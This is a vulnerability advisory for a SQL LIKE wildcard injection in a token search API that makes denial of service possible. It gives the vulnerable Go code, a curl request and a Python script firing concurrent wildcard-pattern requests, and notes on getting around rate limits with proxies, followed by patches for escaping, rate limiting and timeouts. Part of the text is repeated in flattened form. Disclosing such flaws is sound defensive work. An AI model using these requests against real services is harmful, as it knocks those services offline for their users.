Summary
A SQL LIKE wildcard injection vulnerability in the /api/token/search endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.
Details
The token search endpoint accepts user-supplied keyword and token parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (%, _). This allows attackers to inject patterns that trigger expensive database queries.
Vulnerable Code
File: model/token.go:70
err = DB.Where("user_id = ?", userId).
Where("name LIKE ?", "%"+keyword+"%"). // No wildcard escaping
Where(commonKeyCol+" LIKE ?", "%"+token+"%").
Find(&tokens).Error
PoC
After creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.

These data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:
# A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly.
curl 'http://localhost:3000/api/token/search?keyword=%&token='

It will cause DoS.
import requests
from concurrent.futures import ThreadPoolExecutor
def attack(session_cookie):
requests.get(
'http://localhost:3000/api/token/search',
params={'keyword': '%_%_%_%_%_%', 'token': ''},
cookies={'session': session_cookie},
headers={'New-API-User': '1'}
)
# Launch 50 concurrent malicious requests
with ThreadPoolExecutor(max_workers=50) as executor:
for _ in range(50):
executor.submit(attack, '<valid_session>')
Impact
Availability
RAM Overflow

Postgres unavailable

- Database CPU usage spike to 100%
- Application memory exhaustion
- Legitimate user requests blocked or significantly delayed
- Potential application crash or database connection pool exhaustion
Database Performance
Testing with 2,000,000 tokens:
| Pattern |
Query Time |
Rows |
Impact |
test (normal) |
~50ms |
0 |
Low |
% (full scan) |
5,973ms |
2,000,000 |
High |
%_%_%_%_%_% |
6,200ms+ |
2,000,000 |
Very High |
Attack Scalability
- Single attacker: Can launch 10-50 concurrent requests easily
- Multiple accounts: Attacker can register multiple accounts (if registration enabled)
- Proxy rotation: IP-based rate limiting can be bypassed
- Persistence: Attack can be sustained indefinitely
Resource Consumption
Each malicious request with 2M results:
- Database: ~6 seconds CPU time
- Network: ~200MB data transfer
- Application Memory: ~200MB+ for JSON serialization
- Connection Time: Database connection held for entire query duration
Exploitation Scenario
- Attacker registers or compromises a regular user account
- Attacker crafts malicious LIKE patterns using
% wildcards
- Attacker launches concurrent requests (50-200 concurrent)
- Database becomes overwhelmed with slow queries
- Application memory exhausts from processing large result sets
- Legitimate users experience service degradation or complete unavailability
Patch Recommendations
1. Escape LIKE Wildcards (Critical)
func escapeLike(s string) string {
s = strings.ReplaceAll(s, "\\", "\\\\")
s = strings.ReplaceAll(s, "%", "\\%")
s = strings.ReplaceAll(s, "_", "\\_")
return s
}
func SearchUserTokens(userId int, keyword string, token string) (tokens []*Token, err error) {
keyword = escapeLike(keyword)
token = strings.Trim(token, "sk-")
token = escapeLike(token)
err = DB.Where("user_id = ?", userId).
Where("name LIKE ? ESCAPE '\\\\'", "%"+keyword+"%").
Where(commonKeyCol+" LIKE ? ESCAPE '\\\\'", "%"+token+"%").
Limit(1000).
Find(&tokens).Error
return tokens, err
}
2. Add User-Level Rate Limiting
tokenRoute.GET("/search",
middleware.TokenSearchRateLimit(), // 30 req/min per user
controller.SearchTokens)
3. Add Query Timeout
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
err = DB.WithContext(ctx).Where(...).Find(&tokens).Error
References
Summary
A SQL LIKE wildcard injection vulnerability in the
/api/token/searchendpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.Details
The token search endpoint accepts user-supplied
keywordandtokenparameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (%,_). This allows attackers to inject patterns that trigger expensive database queries.Vulnerable Code
File:
model/token.go:70PoC
After creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.
These data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:
It will cause DoS.
Impact
Availability
RAM Overflow
Postgres unavailable
Database Performance
Testing with 2,000,000 tokens:
test(normal)%(full scan)%_%_%_%_%_%Attack Scalability
Resource Consumption
Each malicious request with 2M results:
Exploitation Scenario
%wildcardsPatch Recommendations
1. Escape LIKE Wildcards (Critical)
2. Add User-Level Rate Limiting
3. Add Query Timeout
References